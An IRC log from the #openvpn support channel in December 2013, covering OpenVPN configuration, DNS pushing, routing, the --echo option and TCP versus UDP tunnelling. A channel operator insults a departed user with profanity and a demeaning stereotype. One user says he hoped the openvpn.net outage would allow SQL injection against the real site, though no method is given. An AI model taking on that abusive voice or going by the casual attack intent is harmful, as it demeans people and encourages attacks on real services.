21:27 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
21:27 < pekster> ecrist: Oh, we also have:
21:27 < pekster> !new
21:28 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
21:28 <@ecrist> woohoo
21:28 < CoolGurl13> Yeah, works now.
21:28 < CoolGurl13> ecrist: Um... yes, I am.
21:28 <@ecrist> so, what the fuck is your problem, if it works now?
21:28 < CoolGurl13> But it needs to right-click and "use admin" sometimes anyway.
21:28 < CoolGurl13> No idea why.
21:28 < pekster> !gui
21:28 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
21:28 < pekster> Read wiki, learn why
21:30 -!- CoolGurl13 [~CoolGurl1@gateway/tor-sasl/coolgurl13] has left #openvpn []
21:30  * ecrist cheers
21:31 < pekster> heh, tor gateway. an "anonymous" idiot :P
21:31 -!- mode/#openvpn [+b *!*@gateway/tor-sasl/coolgurl13] by ecrist
21:31 -!- mode/#openvpn [-b *!*@gateway/tor-sasl/coolgurl13] by ecrist
21:32 -!- mode/#openvpn [+b CoolGurl13!*@*] by ecrist
21:32 <@ecrist> tor, using a registered, authenticated account even.
21:32 < pekster> You won't be surprised that "PIA" (that provider) is an oft-discussed "anonymous provider" on twitter
21:32 < pekster> Erm, reddit I mean
21:32 < pekster> One of those crappy social media sites!
21:34 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 252 seconds]
21:35 <@ecrist> so, he/she (probably a fat white dude in grandma's basement pretending to be a "gurl" on the netz), is using authenticated accounts for an anonymous service where credentials are stored on his/her computer
21:36 <@ecrist> a+ on anonymity fuckwad
21:36 < pekster> It's okay; the troll has moved on and getting no love in another popular channel here. There's not enough popcorn in grocery stores within a 5 mile radius ;)
21:37 <@ecrist> which other channel?
21:37 <@ecrist> ah, s/he has her channels hidden
21:37 <@ecrist> I see the postgresql channel because I'm there.
21:38 < hjohnson> ~
21:38 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
21:38 <@ecrist> I'm here, too
21:40 < hjohnson> lol, oops,
21:40 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 260 seconds]
21:41 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
21:55 -!- speed_racer84 [~speed_rac@172.56.6.199] has quit [Ping timeout: 246 seconds]
22:14 -!- xrosnight [~quassel@183.234.77.221] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
22:15 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
22:24 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
22:24 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 264 seconds]
22:24 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
22:25 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
22:25 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
22:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
22:27 -!- mode/#openvpn [+o dazo_afk] by ChanServ
22:27 -!- dazo_afk is now known as dazo
22:35 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
22:39 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Read error: No route to host]
22:54 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
22:56 -!- mab3475 [~Mark@c-76-120-125-216.hsd1.co.comcast.net] has joined #openvpn
22:56 < mab3475> Hello.
23:03 -!- speed_racer84 [~speed_rac@172.56.6.199] has joined #openvpn
23:07 <@ecrist> hi
23:12 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:12 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
23:12 -!- james41382 [~james@173.192.170.71-static.reverse.softlayer.com] has joined #openvpn
23:12 -!- james41382 [~james@173.192.170.71-static.reverse.softlayer.com] has quit [Changing host]
23:12 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:21 -!- mab3475 [~Mark@c-76-120-125-216.hsd1.co.comcast.net] has quit [Quit: Leaving.]
23:22 -!- Eryn_1983_FL [~Eryn_1983@72.238.104.100] has left #openvpn ["WeeChat 0.3.8"]
23:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
--- Day changed Wed Dec 11 2013
00:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:23 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
00:25 -!- speed_racer84 [~speed_rac@172.56.6.199] has quit [Quit: Leaving]
00:29 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 252 seconds]
00:34 -!- BtbN [znc@btbn.de] has joined #openvpn
00:42 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:08 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
01:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:16 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
01:21 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:37 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Operation timed out]
01:44 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:46 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
01:50 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:53 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
01:56 < james41382> When a openvpn server pushes the dns options how does one go about getting those? I know on my laptop debian 7.2 I can use the resolvconf service, which is part of package containing some scripts. But I want to do it on my openwrt router. I don't believe there is an existing package. So I want to start the process of creating something that'll work. First I need to know how to get the push request.
01:57 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
01:58 <@krzee> !pushdns
01:58 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
01:59 <@krzee> just look at the existing scripts
01:59 <@krzee> see how they get it
01:59 <@krzee> (from the env)
01:59 <@krzee> also, you could simply make a script that outputs env command to a file to see all options
02:00 < james41382_> I saw that in the debian scripts /sbin/resolvconf foreign_option_1 etc
02:00 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
02:02 < james41382_> so would they be $foreign_option_1, $foreign_option_2, etc?
02:08 -!- james41382_ [~james@unaffiliated/james41382] has quit [Ping timeout: 252 seconds]
02:09 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
02:09 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
02:13 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
02:21 -!- mattock_afk is now known as mattock
02:22 < pagios> hi i managed to get my vpn workign for 1 client using this configuration: http://pastebin.com/CP6yUgxB
02:22 < pagios> now i need to add multiple clients, what should i addd?
02:24 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
02:35 -!- piece3 [~quassel@14.161.15.21] has quit [Read error: Connection reset by peer]
02:51 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
03:03 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
03:17 -!- heraclitus [~heraclitu@85.17.31.98] has joined #openvpn
03:17 -!- heraclitus [~heraclitu@85.17.31.98] has quit [Changing host]
03:17 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
03:18 < pagios> can openvpn listen on both udp and tcp ports at the same time?
03:19 -!- Denial [Denial@97e0995b.skybroadband.com] has joined #openvpn
03:39 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
03:41 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
04:07 -!- xrosnight [~quassel@183.234.77.221] has quit [Ping timeout: 260 seconds]
04:17 -!- james41382_ [~james@unaffiliated/james41382] has quit [Quit: Leaving]
04:17 -!- james41382 [~james@c-71-227-171-20.hsd1.wa.comcast.net] has joined #openvpn
04:17 -!- james41382 [~james@c-71-227-171-20.hsd1.wa.comcast.net] has quit [Changing host]
04:17 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
04:21 -!- duoi [duoi@gateway/shell/ircrelay.com/x-bldoruooryzxvkcg] has joined #openvpn
04:23 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
04:24 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
04:33 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
04:38 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
04:40 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
04:44 -!- MyMind [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 252 seconds]
04:46 -!- mndo [~mndo@bl16-208-253.dsl.telepac.pt] has joined #openvpn
04:51 -!- ayaka [~ayaka@222.76.205.131] has joined #openvpn
04:52 < ayaka> I have a problem with openvpn, the route it add is not correct, I set netmask to /24 ,but it change it to /32 log and config is here http://paste.debian.net/70334/
04:55 < ayaka> sorry, the problem is that, the if the host in 192.168.6.0/24 want to ping vpn server, it will got this on log http://paste.debian.net/70335/
05:00 < ayaka> here is the new log
05:01 < ayaka> I think  /sbin/route add -net 192.168.6.0 netmask 255.255.255.255 gw 10.0.10.130 is not correct
05:01 < ayaka> what cause the problem?
05:04 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:19 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
05:19 -!- Martin` [~martin@shell.ipv6.octocore.net] has quit [Ping timeout: 260 seconds]
05:19 -!- Martin`_ is now known as Martin`
05:25 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
05:25 -!- heraclitus [~heraclitu@85.17.31.98] has joined #openvpn
05:25 -!- heraclitus [~heraclitu@85.17.31.98] has quit [Changing host]
05:25 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
05:27 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Quit: Changing server]
05:28 -!- c0mputerking [~kvirc@solar.computerking.ca] has joined #openvpn
05:29 < c0mputerking> openvpn
05:30 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
05:48 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
05:50 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Read error: Operation timed out]
05:50 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
06:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
06:17 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:40 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
06:43 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:53 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
06:56 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
06:58 -!- Romance [~pink@unaffiliated/yusuke] has joined #openvpn
06:58 < Romance> hello what is the openvpn AS client login url?
06:58 < Romance> i forgot it, i only know :943/admin
07:00 < reiffert>  Access-Server? /join #openvpn-as
07:15 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 245 seconds]
07:17 < Romance> reiffert: and what is exactly happened to the website?
07:19 < reiffert> Romance: the website from your personal openvpn access server? How should I know?
07:19 < Romance> reiffert: no, openvpn.net
07:20 < reiffert> How should I know? My website is running good. I have no idea what happens to other peoples websites.
07:20 < reiffert> Maybe ask the openvpn.net owner
07:20 <@ecrist> Romance: looks to me like there's a database issue
07:20 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
07:20 < reiffert> Registry Registrant ID:
07:20 < reiffert> Registrant Name: OPENVPN TECHNOLOGIES, INC
07:20 < reiffert> Registrant Organization: OPENVPN TECHNOLOGIES, INC
07:21 < debbie10t> !as
07:21 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
07:21 < reiffert> it looks more like a hacker attack
07:21 < reiffert> or bad design.
07:21 < reiffert> probably both
07:21 < Romance> tinc vpn did that
07:22 < debbie10t> if you mean this: http://openvpn.net/index.php/open-source.html --> Database connection error (2): Could not connect to MySQL.
07:22 < reiffert> your tinc broken openvpn.net?
07:22 < debbie10t> they say their SQL server went down
07:23 < reiffert> debbie10t: it's could not connect, it's not: "The databaser server is down"
07:23 < Romance> i was hoping its a mysql error so an injection would be possible, but meh, the server went down
07:24 < debbie10t> reiffert: i don't care what it is .. i just reported it to "the Right" place
07:24 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
07:24 < reiffert> The NSA.
07:24 < debbie10t> !as
07:24 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
07:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
07:26 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:26 <@ecrist> they're working on it
07:27  * debbie10t thinks it's about time they did some work !
07:28 < reiffert> guess there is no reverse proxy doing sort of loadbalancing
07:29 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
07:37 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:40 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 272 seconds]
07:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:53 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
07:53 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
07:57 -!- FlashGordon [~test@92.55.118.112] has joined #openvpn
07:58 -!- FlashGordon is now known as Guest83597
08:01 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:02 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:05 -!- elfixit [~Icedove@82.197.179.16] has joined #openvpn
08:14 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
08:18 -!- aemquo [~UN@unaffiliated/aemquo] has joined #openvpn
08:18 < aemquo> "ERROR: Linux route add command failed: external program exited with error status: 7"
08:18 < aemquo> All of my what.
08:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:25 < aemquo> Anyone know how to fix that?
08:27 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 248 seconds]
08:29 -!- aemquo [~UN@unaffiliated/aemquo] has quit [Quit: Leaving]
08:31 -!- takamichi [~takamichi@85.12.8.104] has joined #openvpn
08:40 < pagios> is it a good idea to transport udp video stream over a tcp tunnel?
08:41 < defswork> sounds like a great idea
08:42 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
08:43 <@krzee> depends on the udp protocol, probably not
08:43 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
08:43 <@krzee> people use udp because its connectionless, often times they use it because they need realtime streams and do NOT want retransmissions getting their stream off, would prefer lost packets
08:43 <@krzee> this is the case with voip and streaming video
08:44 <@krzee> so throwing tcp in would hurt you in those cases
08:44 <@krzee> pagios, defswork ^
08:45 < defswork> sorry I was being sarcastic ;)
08:45 < defswork>  /flippant
08:45 < defswork> etc.. :)
08:45 < defswork> long tiring week so far
08:45 <@krzee> oh, lol
08:46 <@krzee> gotchya :D
08:46 < pagios> what about tcp over udp
08:48 <@krzee> that is normal
08:48 < defswork> tcp over udp ? like openvpn for example ?
08:49 < pagios> desyes
08:49 < pagios> defswork:
08:49 < pagios> for streaming video for example
08:52 -!- xrosnight [~quassel@113.83.80.118] has joined #openvpn
08:52 -!- debbie10t2 [~ma1com10t@host-2-96-41-137.as13285.net] has joined #openvpn
08:53 -!- xrosnight [~quassel@113.83.80.118] has quit [Changing host]
08:53 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:53 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has quit [Ping timeout: 260 seconds]
09:03 -!- mattock is now known as mattock_afk
09:10 -!- takamichi [~takamichi@85.12.8.104] has quit [Ping timeout: 250 seconds]
09:12 -!- x0011BF [~x007899@67.215.237.50] has joined #openvpn
09:12 < x0011BF> !goal
09:12 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:15 < x0011BF> I have a question - do y'all know if, on Ubuntu, the OpenVPN configurations can be updated from a script? I usually connect to a random one of about a dozen VPN servers, but I have a local HTTP proxy with a password that changes every few months. I'd like to write a little script that allows me to update the saved password for all the proxies at once, but I'm not sure where the OpenVPN config files are kept.
09:15 < x0011BF> According to this: http://askubuntu.com/questions/29086/where-are-vpn-configuration-files-imported-by-network-manager-saved it's stored in some file I don't have.
09:15 <@vpnHelper> Title: Where are VPN configuration files imported by Network Manager saved? - Ask Ubuntu (at askubuntu.com)
09:18 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
09:18 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:29 -!- speed_racer84 [~speed_rac@172.56.7.255] has joined #openvpn
09:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Max SendQ exceeded]
09:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:34 -!- xrosnight [~quassel@113.83.80.118] has joined #openvpn
09:34 -!- xrosnight [~quassel@113.83.80.118] has quit [Changing host]
09:34 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
09:36 -!- debbie10t2 is now known as debbie10t
09:41 -!- master_of_master [~master_of@p4FD7B358.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- master_o1_master [~master_of@p4FD7B50A.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
09:53 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
09:54 -!- c0mputerking [~kvirc@solar.computerking.ca] has quit [Ping timeout: 246 seconds]
10:06 -!- speed_racer84 [~speed_rac@172.56.7.255] has quit [Ping timeout: 264 seconds]
10:07 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 252 seconds]
10:08 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
10:11 < debbie10t> where is --echo [parms] supposed to go .. ? is it the configured --log file or what ?
10:13 < debbie10t> there is no echo to either the --log file or the management console (with log on)
10:14 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 252 seconds]
10:14 < debbie10t> can --echo be used in a CCD file ?
10:16 -!- crus [~crusader@2001:44b8:319e:2900:acdd:68e7:5fbe:82cd] has quit [Read error: Connection reset by peer]
10:17 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
10:17 -!- mode/#openvpn [+v hazardous] by ChanServ
10:21 < pekster> debbie10t: Management only now; writing that to the log is disabled
10:21 < pekster> https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/options.c#L4102
10:21 <@vpnHelper> Title: openvpn/src/openvpn/options.c at master · OpenVPN/openvpn · GitHub (at github.com)
10:22 < debbie10t> should not the manual be updated ?
10:23 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:23 < debbie10t> also .. how come openvpn is responsible for what an admin chooses to echo ?
10:24 < debbie10t> that was a really useful feature
10:24 < debbie10t> bloody typical
10:24 < pekster> Go offer a patch
10:24 < pekster> This isn't in any way new: https://github.com/OpenVPN/openvpn/commit/429ab79
10:24 <@vpnHelper> Title: Redact "echo" directive strings from log, since · 429ab79 · OpenVPN/openvpn · GitHub (at github.com)
10:25 < pekster> Or, maybe it is as of 2.3 (and just wasn't merged for 2 years :P )
10:25 < debbie10t> yeah - it is 232
10:26 < pekster> v2.3.0 is tagged
10:26 < pekster> https://github.com/OpenVPN/openvpn/commit/429ab79
10:26 <@vpnHelper> Title: Redact "echo" directive strings from log, since · 429ab79 · OpenVPN/openvpn · GitHub (at github.com)
10:26 < debbie10t> but it seems to me it would make more sense to be an option not an outright ban !
10:26 <@krzee> weird if not for the log then what is --echo good for?
10:26 < pekster> So connect a management interface and be donw with it
10:26 <@krzee> in the cookbook it was used to push messages to the client
10:26 < debbie10t> it does not echo to management either
10:26 < pekster> Yes, it does
10:26 < debbie10t> v 232
10:26 < debbie10t> not on mine
10:27 < pekster> https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/options.c#L4111
10:27 <@vpnHelper> Title: openvpn/src/openvpn/options.c at master · OpenVPN/openvpn · GitHub (at github.com)
10:27 < debbie10t> so basically not on windows
10:27 < debbie10t> bvah!
10:28 < pekster> krzee: Easy enough to un-do that commit. That smells to me like nonsense the corporate client needed
10:28 < debbie10t> sound slike total BS
10:28 < pekster> Though it might be useful to consider a similar use-case to echo only to mamagement
10:28 < pekster> Also, shame on James for not updating the help output or manpage with the info at the same time ;)
10:29 < debbie10t> so this is how it dies
10:29 < debbie10t> what a fkn load
10:29 < pekster> FFS, I'm suggesting fixing it
10:29 < pekster> You're "fkn" ignoring what I just said
10:29 < pekster> Carry on with your bitch fest if you'd like
10:30 < pekster> Complaining does little; bothering to open bugreports or submitting patches or otherwise getting involved in development is far better
10:31 < pekster> https://community.openvpn.net/openvpn/report
10:31 <@vpnHelper> Title: Available Reports – OpenVPN Community (at community.openvpn.net)
10:31 < debbie10t> here's a thing - don't fkn dress it up -- don't remove useful functionality with open discussion
10:31 < debbie10t> without*
10:32 < pekster> This was done 2 years ago, from a code standpoint
10:32 < pekster> Getting "upset" about it does no good
10:32 < debbie10t> esp;ecially if your documentation does not reflect it -- this looks like a corporate elbow to me
10:32 < pekster> This is FOSS code -- if you want change, you need to put some effort into it. Right now you're not, and it's unproductive
10:32 < pekster> Go open a bug
10:32 -!- debbie10t [~ma1com10t@host-2-96-41-137.as13285.net] has left #openvpn []
10:32 < pekster> ..
10:33 < pekster> Lovely, I guess it's not that important of an issue then. Problem solved.
10:33 < pekster> The commit _is_ suspect; why would --echo contain sensitive strings? :P
10:36  * ecrist rethinks making debbie10t a forum mod
10:38 -!- Guest83597 [~test@92.55.118.112] has quit [Remote host closed the connection]
10:40 <@ecrist> though s/he seems to be helpful and not bitchy there
10:40 < rob0> some people fit in better in web forums than in IRC, maybe
10:41 -!- MyMind [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 250 seconds]
10:41 <@ecrist> oh, for sure
10:41 -!- elfixit [~Icedove@82.197.179.16] has quit [Read error: Operation timed out]
10:41 < pekster> It's the same reason I tend to go to mailing lists when _I_ need help with something; you might wait a bit longer, but you frequently get more experts reviewing the issue
10:44 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has left #openvpn []
10:44 -!- elfixit [~Icedove@dhcp-129-154.office.init7.net] has joined #openvpn
10:46 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
10:51 -!- MyMind [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 246 seconds]
10:54 < pagios> what is better when streaming video, tcp streaming over tcp tunnel or tcp streaming over udp tunnel or udp streaming over udp tunnel thanks
10:54 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
10:56 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has quit [Ping timeout: 260 seconds]
11:04 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 246 seconds]
11:06 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:09 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
11:09 < Thermi> pagios, TCP over UDP tunnel or UDP over a UDP tunnel
11:10 < suprsonic> udp over udp
11:11 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
11:11 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
11:12 -!- tholme [~nosignup@81.167.33.102] has joined #openvpn
11:13 < tholme> !welcome
11:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:13 < tholme> !goal
11:13 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:14 < tholme> !wiki
11:14 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
11:17 -!- elfixit [~Icedove@dhcp-129-154.office.init7.net] has quit [Quit: elfixit]
11:18 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
11:18 -!- lilibox [~franta_bi@93.99.40.10] has quit [Read error: No route to host]
11:21 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
11:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:26 -!- Nikon_m [~nikonm@38.64.170.10] has joined #openvpn
11:31 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 250 seconds]
11:32 -!- Nikon_m_ [~nikonm@184.151.63.132] has joined #openvpn
11:32 -!- Nikon_m [~nikonm@38.64.170.10] has quit [Ping timeout: 260 seconds]
11:32 -!- Nikon_m_ is now known as Nikon_m
11:32 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:38 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Remote host closed the connection]
11:41 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has joined #openvpn
11:42 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Ping timeout: 245 seconds]
11:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-mheeuypofmgrmgnd] has quit [Ping timeout: 248 seconds]
12:29 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
12:33 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
12:39 -!- duoi [duoi@gateway/shell/ircrelay.com/x-bldoruooryzxvkcg] has quit [Read error: Connection reset by peer]
12:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:43 -!- duoi [duoi@gateway/shell/ircrelay.com/x-dwkufloulqbdainc] has joined #openvpn
12:43 -!- duoi [duoi@gateway/shell/ircrelay.com/x-dwkufloulqbdainc] has quit [Changing host]
12:43 -!- duoi [duoi@unaffiliated/duoi] has joined #openvpn
12:43 -!- duoi [duoi@unaffiliated/duoi] has quit [Changing host]
12:43 -!- duoi [duoi@gateway/shell/ircrelay.com/x-dwkufloulqbdainc] has joined #openvpn
12:43 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
12:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:50 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
12:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
13:08 -!- mndo [~mndo@bl16-208-253.dsl.telepac.pt] has quit [Ping timeout: 252 seconds]
13:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:16 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
13:39 -!- kirin` [telex@gateway/shell/anapnea.net/x-ysnodmwoclmlrjji] has joined #openvpn
